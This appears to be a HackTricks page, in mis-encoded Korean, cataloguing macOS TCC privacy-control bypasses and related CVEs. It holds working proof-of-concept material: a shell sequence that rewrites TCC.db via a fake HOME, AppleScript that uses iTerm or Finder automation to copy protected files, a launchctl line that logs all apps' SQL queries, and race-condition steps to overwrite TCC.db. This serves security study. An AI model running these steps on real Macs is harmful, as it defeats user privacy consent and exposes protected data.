macOS TCC Bypasses

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋Šฅ๋ณ„

์“ฐ๊ธฐ ์šฐํšŒ

์ด๊ฒƒ์€ ์šฐํšŒ๊ฐ€ ์•„๋‹ˆ๋ผ TCC๊ฐ€ ์ž‘๋™ํ•˜๋Š” ๋ฐฉ์‹์ž…๋‹ˆ๋‹ค: ์“ฐ๊ธฐ์—์„œ ๋ณดํ˜ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ Terminal์ด ์‚ฌ์šฉ์ž์˜ ๋ฐ”ํƒ•ํ™”๋ฉด์„ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์—†๋‹ค๋ฉด ์—ฌ์ „ํžˆ ๊ทธ ์•ˆ์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

**ํ™•์žฅ ์†์„ฑ com.apple.macl**์€ ํŒŒ์ผ์— ์ถ”๊ฐ€๋˜์–ด ์ƒ์„ฑ์ž ์•ฑ์ด ์ด๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค.

TCC ClickJacking

์‚ฌ์šฉ์ž๊ฐ€ ์•Œ์ง€ ๋ชปํ•˜๊ฒŒ TCC ํ”„๋กฌํ”„ํŠธ ์œ„์— ์ฐฝ์„ ์˜ฌ๋ ค๋†“๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. TCC-ClickJacking์—์„œ PoC๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

์ž„์˜ ์ด๋ฆ„์œผ๋กœ TCC ์š”์ฒญ

๊ณต๊ฒฉ์ž๋Š” **Info.plist**์—์„œ ์ž„์˜์˜ ์ด๋ฆ„(์˜ˆ: Finder, Google Chromeโ€ฆ)์„ ๊ฐ€์ง„ ์•ฑ์„ ์ƒ์„ฑํ•˜๊ณ  TCC ๋ณดํ˜ธ ์œ„์น˜์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์š”์ฒญํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๋Š” ํ•ฉ๋ฒ•์ ์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ด ์ ‘๊ทผ์„ ์š”์ฒญํ•˜๊ณ  ์žˆ๋‹ค๊ณ  ์ƒ๊ฐํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.
๊ฒŒ๋‹ค๊ฐ€, ํ•ฉ๋ฒ•์ ์ธ ์•ฑ์„ Dock์—์„œ ์ œ๊ฑฐํ•˜๊ณ  ๊ฐ€์งœ ์•ฑ์„ ์˜ฌ๋ ค๋†“๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ, ์‚ฌ์šฉ์ž๊ฐ€ ๊ฐ€์งœ ์•ฑ(๊ฐ™์€ ์•„์ด์ฝ˜์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Œ)์„ ํด๋ฆญํ•˜๋ฉด ํ•ฉ๋ฒ•์ ์ธ ์•ฑ์„ ํ˜ธ์ถœํ•˜๊ณ  TCC ๊ถŒํ•œ์„ ์š”์ฒญํ•˜์—ฌ ์•…์„ฑ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ๋˜์–ด ์‚ฌ์šฉ์ž๊ฐ€ ํ•ฉ๋ฒ•์ ์ธ ์•ฑ์ด ์ ‘๊ทผ์„ ์š”์ฒญํ–ˆ๋‹ค๊ณ  ๋ฏฟ๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ์ •๋ณด์™€ PoC๋Š” ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

macOS Privilege Escalation

SSH ์šฐํšŒ

๊ธฐ๋ณธ์ ์œผ๋กœ **SSH๋ฅผ ํ†ตํ•œ ์ ‘๊ทผ์€ โ€œ์ „์ฒด ๋””์Šคํฌ ์ ‘๊ทผโ€**์„ ํ•„์š”๋กœ ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด ๋ชฉ๋ก์— ๋‚˜์—ด๋˜์–ด ์žˆ์ง€๋งŒ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(๋ชฉ๋ก์—์„œ ์ œ๊ฑฐํ•˜๋Š” ๊ฒƒ์€ ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ์ œ๊ฑฐํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค):

์ผ๋ถ€ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ์ด ๋ณดํ˜ธ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์—ˆ๋˜ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์˜ˆ์‹œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

Caution

์ด์ œ SSH๋ฅผ ํ™œ์„ฑํ™”ํ•˜๋ ค๋ฉด ์ „์ฒด ๋””์Šคํฌ ์ ‘๊ทผ์ด ํ•„์š”ํ•˜๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

ํ•ธ๋“ค ํ™•์žฅ - CVE-2022-26767

์†์„ฑ **com.apple.macl**์€ ํŒŒ์ผ์— ๋ถ€์—ฌ๋˜์–ด ํŠน์ • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ด๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. ์ด ์†์„ฑ์€ ํŒŒ์ผ์„ ์•ฑ์œผ๋กœ ๋“œ๋ž˜๊ทธ ์•ค ๋“œ๋กญํ•˜๊ฑฐ๋‚˜ ์‚ฌ์šฉ์ž๊ฐ€ ๋”๋ธ” ํด๋ฆญํ•˜์—ฌ ๊ธฐ๋ณธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์œผ๋กœ ํŒŒ์ผ์„ ์—ด ๋•Œ ์„ค์ •๋ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์‚ฌ์šฉ์ž๋Š” ๋ชจ๋“  ํ™•์žฅ์„ ์ฒ˜๋ฆฌํ•˜๋Š” ์•…์„ฑ ์•ฑ์„ ๋“ฑ๋กํ•˜๊ณ  Launch Services๋ฅผ ํ˜ธ์ถœํ•˜์—ฌ ํŒŒ์ผ์„ ์—ด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋”ฐ๋ผ์„œ ์•…์„ฑ ํŒŒ์ผ์ด ์ด๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์ ‘๊ทผ ๊ถŒํ•œ์„ ๋ถ€์—ฌ๋ฐ›๊ฒŒ ๋ฉ๋‹ˆ๋‹ค).

iCloud

๊ถŒํ•œ **com.apple.private.icloud-account-access**๋ฅผ ํ†ตํ•ด com.apple.iCloudHelper XPC ์„œ๋น„์Šค์™€ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ์„œ๋น„์Šค๋Š” iCloud ํ† ํฐ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

iMovie์™€ Garageband๋Š” ์ด ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์—ˆ๊ณ , ๋‹ค๋ฅธ ์•ฑ๋“ค๋„ ํ—ˆ์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ถŒํ•œ์—์„œ icloud ํ† ํฐ์„ ์–ป๊ธฐ ์œ„ํ•œ exploit์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ๋‹ค์Œ ๊ฐ•์˜๋ฅผ ํ™•์ธํ•˜์„ธ์š”: #OBTS v5.0: โ€œWhat Happens on your Mac, Stays on Appleโ€™s iCloud?!โ€ - Wojciech Regula

kTCCServiceAppleEvents / ์ž๋™ํ™”

kTCCServiceAppleEvents ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์•ฑ์€ ๋‹ค๋ฅธ ์•ฑ์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋‹ค๋ฅธ ์•ฑ์— ๋ถ€์—ฌ๋œ ๊ถŒํ•œ์„ ๋‚จ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

Apple Scripts์— ๋Œ€ํ•œ ๋” ๋งŽ์€ ์ •๋ณด๋Š” ๋‹ค์Œ์„ ํ™•์ธํ•˜์„ธ์š”:

macOS Apple Scripts

์˜ˆ๋ฅผ ๋“ค์–ด, ์•ฑ์ด **iTerm**์— ๋Œ€ํ•œ ์ž๋™ํ™” ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, ์ด ์˜ˆ์—์„œ **Terminal**์ด iTerm์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

iTerm์—์„œ

FDA๊ฐ€ ์—†๋Š” Terminal์€ iTerm์„ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
osascript iterm.script

Over Finder

๋˜๋Š” ์•ฑ์ด Finder์— ๋Œ€ํ•œ ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

By App behaviour

CVE-2020โ€“9934 - TCC

์‚ฌ์šฉ์ž ๊ณต๊ฐ„์˜ tccd daemon์€ HOME env ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ TCC ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์ ‘๊ทผํ•ฉ๋‹ˆ๋‹ค: $HOME/Library/Application Support/com.apple.TCC/TCC.db

์ด Stack Exchange ๊ฒŒ์‹œ๋ฌผ์— ๋”ฐ๋ฅด๋ฉด, TCC daemon์ด ํ˜„์žฌ ์‚ฌ์šฉ์ž์˜ ๋„๋ฉ”์ธ ๋‚ด์—์„œ launchd๋ฅผ ํ†ตํ•ด ์‹คํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์—, ๋ชจ๋“  ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ, ๊ณต๊ฒฉ์ž๋Š” $HOME ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ **launchctl**์—์„œ ์ œ์–ด๋œ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์„ค์ •ํ•˜๊ณ , TCC daemon์„ ์žฌ์‹œ์ž‘ํ•œ ๋‹ค์Œ, TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ง์ ‘ ์ˆ˜์ •ํ•˜์—ฌ ์ตœ์ข… ์‚ฌ์šฉ์ž์—๊ฒŒ ์•„๋ฌด๋Ÿฐ ์š”์ฒญ ์—†์ด ๋ชจ๋“  TCC ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - ๋…ธํŠธ

๋…ธํŠธ๋Š” TCC ๋ณดํ˜ธ ์œ„์น˜์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์—ˆ์ง€๋งŒ, ๋…ธํŠธ๊ฐ€ ์ƒ์„ฑ๋  ๋•Œ ๋น„๋ณดํ˜ธ ์œ„์น˜์— ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋…ธํŠธ์— ๋ณดํ˜ธ๋œ ํŒŒ์ผ์„ ๋ณต์‚ฌํ•˜๋„๋ก ์š”์ฒญํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ (์ฆ‰, ๋น„๋ณดํ˜ธ ์œ„์น˜์—) ๊ทธ ํŒŒ์ผ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

CVE-2021-30782 - ์ „์ด

๋ฐ”์ด๋„ˆ๋ฆฌ /usr/libexec/lsd๋Š” libsecurity_translocate ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์™€ ํ•จ๊ป˜ com.apple.private.nullfs_allow ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด nullfs ๋งˆ์šดํŠธ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์—ˆ๊ณ , ๋ชจ๋“  ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด **kTCCServiceSystemPolicyAllFiles**์™€ ํ•จ๊ป˜ com.apple.private.tcc.allow ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

โ€œLibraryโ€œ์— ๊ฒฉ๋ฆฌ ์†์„ฑ์„ ์ถ”๊ฐ€ํ•˜๊ณ  com.apple.security.translocation XPC ์„œ๋น„์Šค๋ฅผ ํ˜ธ์ถœํ•˜๋ฉด Library๊ฐ€ **$TMPDIR/AppTranslocation/d/d/Library**๋กœ ๋งคํ•‘๋˜์–ด Library ์•ˆ์˜ ๋ชจ๋“  ๋ฌธ์„œ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

CVE-2023-38571 - ์Œ์•… ๋ฐ TV

**Music**๋Š” ํฅ๋ฏธ๋กœ์šด ๊ธฐ๋Šฅ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค: ์‹คํ–‰ ์ค‘์ผ ๋•Œ, **~/Music/Music/Media.localized/Automatically Add to Music.localized**์— ๋“œ๋กญ๋œ ํŒŒ์ผ์„ ์‚ฌ์šฉ์ž์˜ โ€œ๋ฏธ๋””์–ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌโ€œ๋กœ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€, **rename(a, b);**์™€ ๊ฐ™์€ ํ˜ธ์ถœ์„ ํ•˜๋ฉฐ, ์—ฌ๊ธฐ์„œ a์™€ b๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"
  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"

์ด rename(a, b); ๋™์ž‘์€ ๊ฒฝ์Ÿ ์กฐ๊ฑด์— ์ทจ์•ฝํ•˜๋ฉฐ, Automatically Add to Music.localized ํด๋” ์•ˆ์— ๊ฐ€์งœ TCC.db ํŒŒ์ผ์„ ๋„ฃ๊ณ , ์ƒˆ ํด๋”(b)๊ฐ€ ์ƒ์„ฑ๋  ๋•Œ ํŒŒ์ผ์„ ๋ณต์‚ฌํ•˜๊ณ  ์‚ญ์ œํ•œ ํ›„ **~/Library/Application Support/com.apple.TCC**๋กœ ๊ฐ€๋ฆฌํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

SQLITE_SQLLOG_DIR - CVE-2023-32422

**SQLITE_SQLLOG_DIR="path/folder"**๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์—ด๋ ค ์žˆ๋Š” ๋ชจ๋“  db๊ฐ€ ํ•ด๋‹น ๊ฒฝ๋กœ๋กœ ๋ณต์‚ฌ๋จ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด CVE์—์„œ๋Š” ์ด ์ œ์–ด๊ฐ€ ๋‚จ์šฉ๋˜์–ด TCC ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์—ด ํ”„๋กœ์„ธ์Šค์— ์˜ํ•ด ์—ด๋ฆด SQLite ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์•ˆ์— ์“ฐ๊ธฐ๊ฐ€ ์ด๋ฃจ์–ด์กŒ๊ณ , **SQLITE_SQLLOG_DIR**๋ฅผ ํŒŒ์ผ ์ด๋ฆ„์˜ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋กœ ๋‚จ์šฉํ•˜์—ฌ ๊ทธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ์—ด๋ฆด ๋•Œ ์‚ฌ์šฉ์ž TCC.db๊ฐ€ ์—ด๋ ค ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ๋ฎ์–ด์”Œ์›Œ์กŒ์Šต๋‹ˆ๋‹ค.
์ž์„ธํ•œ ์ •๋ณด ์ž‘์„ฑ๋ฌผ์—์„œ ๋ฐ ๊ฐ•์—ฐ์—์„œ.

SQLITE_AUTO_TRACE

ํ™˜๊ฒฝ ๋ณ€์ˆ˜ **SQLITE_AUTO_TRACE**๊ฐ€ ์„ค์ •๋˜๋ฉด, ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ **libsqlite3.dylib**๋Š” ๋ชจ๋“  SQL ์ฟผ๋ฆฌ๋ฅผ ๋กœ๊น…ํ•˜๊ธฐ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. ๋งŽ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ–ˆ๊ธฐ ๋•Œ๋ฌธ์—, ๊ทธ๋“ค์˜ ๋ชจ๋“  SQLite ์ฟผ๋ฆฌ๋ฅผ ๋กœ๊น…ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์—ฌ๋Ÿฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด TCC ๋ณดํ˜ธ ์ •๋ณด๋ฅผ ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

์ด env ๋ณ€์ˆ˜๋Š” Metal ํ”„๋ ˆ์ž„์›Œํฌ์— ์˜ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์—ฌ๋Ÿฌ ํ”„๋กœ๊ทธ๋žจ์˜ ์˜์กด์„ฑ์œผ๋กœ, ํŠนํžˆ FDA๊ฐ€ ์žˆ๋Š” Music์—์„œ ๋‘๋“œ๋Ÿฌ์ง‘๋‹ˆ๋‹ค.

๋‹ค์Œ๊ณผ ๊ฐ™์ด ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค: MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name". ๋งŒ์•ฝ path๊ฐ€ ์œ ํšจํ•œ ๋””๋ ‰ํ† ๋ฆฌ๋ผ๋ฉด, ๋ฒ„๊ทธ๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ  fs_usage๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ์—์„œ ๋ฌด์Šจ ์ผ์ด ์ผ์–ด๋‚˜๊ณ  ์žˆ๋Š”์ง€ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • path/.dat.nosyncXXXX.XXXXXX๋ผ๋Š” ํŒŒ์ผ์ด open()๋ฉ๋‹ˆ๋‹ค (X๋Š” ๋žœ๋ค)
  • ํ•˜๋‚˜ ์ด์ƒ์˜ write()๊ฐ€ ํŒŒ์ผ์— ๋‚ด์šฉ์„ ์”๋‹ˆ๋‹ค (์šฐ๋ฆฌ๋Š” ์ด๋ฅผ ์ œ์–ดํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค)
  • path/.dat.nosyncXXXX.XXXXXX๊ฐ€ path/name์œผ๋กœ renamed()๋ฉ๋‹ˆ๋‹ค

์ด๋Š” ์ž„์‹œ ํŒŒ์ผ ์“ฐ๊ธฐ ํ›„ rename(old, new) ๊ฐ€ ์•ˆ์ „ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์ด์œ ๋Š” ์ด์ „ ๋ฐ ์ƒˆ๋กœ์šด ๊ฒฝ๋กœ๋ฅผ ๋ณ„๋„๋กœ ํ•ด๊ฒฐํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋ฉฐ, ์ด๋Š” ์‹œ๊ฐ„์ด ๊ฑธ๋ฆด ์ˆ˜ ์žˆ๊ณ  ๊ฒฝ์Ÿ ์กฐ๊ฑด์— ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋” ๋งŽ์€ ์ •๋ณด๋Š” xnu ํ•จ์ˆ˜ renameat_internal()์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Caution

๊ธฐ๋ณธ์ ์œผ๋กœ, ๊ถŒํ•œ์ด ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” ํด๋”์—์„œ ์ด๋ฆ„์„ ๋ฐ”๊พธ๋ฉด, RCE๋ฅผ ์–ป๊ณ  ๋‹ค๋ฅธ ํŒŒ์ผ์— ์ ‘๊ทผํ•˜๊ฒŒ ํ•˜๊ฑฐ๋‚˜, ์ด CVE์™€ ๊ฐ™์ด ๊ถŒํ•œ ์žˆ๋Š” ์•ฑ์ด ์ƒ์„ฑํ•œ ํŒŒ์ผ์„ ์—ด๊ณ  FD๋ฅผ ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ฆ„ ๋ณ€๊ฒฝ์ด ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” ํด๋”์— ์ ‘๊ทผํ•  ๊ฒฝ์šฐ, ์†Œ์Šค ํŒŒ์ผ์„ ์ˆ˜์ •ํ–ˆ๊ฑฐ๋‚˜ ๊ทธ์— ๋Œ€ํ•œ FD๊ฐ€ ์žˆ์„ ๋•Œ, ๋ชฉ์ ์ง€ ํŒŒ์ผ(๋˜๋Š” ํด๋”)์„ ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๋ณ€๊ฒฝํ•˜์—ฌ ์›ํ•˜๋Š” ๋•Œ์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๊ฒƒ์ด CVE์—์„œ์˜ ๊ณต๊ฒฉ์ด์—ˆ์Šต๋‹ˆ๋‹ค: ์˜ˆ๋ฅผ ๋“ค์–ด, ์‚ฌ์šฉ์ž์˜ TCC.db๋ฅผ ๋ฎ์–ด์“ฐ๋ ค๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • /Users/hacker/ourlink๋ฅผ /Users/hacker/Library/Application Support/com.apple.TCC/๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • /Users/hacker/tmp/ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  • ์ด env ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Music์„ ์‹คํ–‰ํ•˜์—ฌ ๋ฒ„๊ทธ๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค.
  • /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX์˜ open()์„ ํฌ์ฐฉํ•ฉ๋‹ˆ๋‹ค (X๋Š” ๋žœ๋ค)
  • ์—ฌ๊ธฐ์„œ ์šฐ๋ฆฌ๋Š” ์ด ํŒŒ์ผ์„ ์“ฐ๊ธฐ ์œ„ํ•ด open()ํ•˜๊ณ  ํŒŒ์ผ ๋””์Šคํฌ๋ฆฝํ„ฐ๋ฅผ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  • /Users/hacker/tmp๋ฅผ /Users/hacker/ourlink์™€ ๋ฃจํ”„์—์„œ ์›์ž์ ์œผ๋กœ ์ „ํ™˜ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฒฝ์Ÿ ์ฐฝ์ด ๋งค์šฐ ์ข๊ธฐ ๋•Œ๋ฌธ์— ์„ฑ๊ณตํ•  ํ™•๋ฅ ์„ ๊ทน๋Œ€ํ™”ํ•˜๊ธฐ ์œ„ํ•ด ์ด๋ ‡๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ฒฝ์Ÿ์—์„œ ์ง€๋Š” ๊ฒƒ์€ ๋ฏธ๋ฏธํ•œ ๋‹จ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ž ์‹œ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค.
  • ์šด์ด ์ข‹์•˜๋Š”์ง€ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค.
  • ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์ฒ˜์Œ๋ถ€ํ„ฐ ๋‹ค์‹œ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

์ž์„ธํ•œ ์ •๋ณด๋Š” https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Caution

์ด์ œ MTL_DUMP_PIPELINES_TO_JSON_FILE env ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๊ณ  ํ•˜๋ฉด ์•ฑ์ด ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Apple Remote Desktop

